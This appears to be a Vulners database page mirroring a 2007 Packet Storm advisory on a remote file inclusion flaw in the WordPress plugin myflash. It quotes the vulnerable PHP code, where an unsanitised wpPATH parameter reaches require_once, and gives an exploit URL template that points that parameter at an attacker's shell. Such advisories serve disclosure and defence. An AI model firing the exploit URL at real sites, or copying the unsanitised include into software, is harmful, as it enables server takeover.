Lucene search
myflash-rfi.txt
🗓️ 03 May 2007 00:00:00Reported by Crackers_ChildType 
packetstorm🔗 packetstormsecurity.com👁 16 Views
Wordpress plugin myflash vulnerability allows Remote File Inclusion (RFI) via wpPATH parameter in myflash-button.php, potentially allowing unauthorized file access
Show more
`--------------------------------- [ Oyle Kahpe Ki Dünya ! ] --------------------------------------
Title : Wordpress plugin myflash <= V1.00 (wppath) RFI Vulnerability
--------------------------------------------------------------------------------
#Author: Crackers_Child
#cont@ct: [email protected]
--------------------------------------------------------------------------------
------------------------- -------------------------------------------------------
Application : Wordpress plugin
Web Site : http://alexrabe.boelinger.com/
--------------------------------------------------------------------------------
Vuln n myflash-button.php
if (!$_POST) $wppath=$_GET['wpPATH'];
else $wppath=$_POST['wpPATH'];
require_once($wppath.'/wp-config.php');
require_once($wppath.'/wp-admin/admin.php');
global $wpdb;
--------------------------------------------------------------------------------
Exploit:
http://[target]/_path]/wp-content/plugins/myflash/myflash-button.php?wpPATH=Shl3?
--------------------------------------------------------------------------------
greets:
Every Body
--------------------------------------------------------------------------------
--------------------------------- [http://www.biyosecurity.net ] --------------------------------------
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo03 May 2007 00:00Current
7.4High risk
Vulners AI Score7.4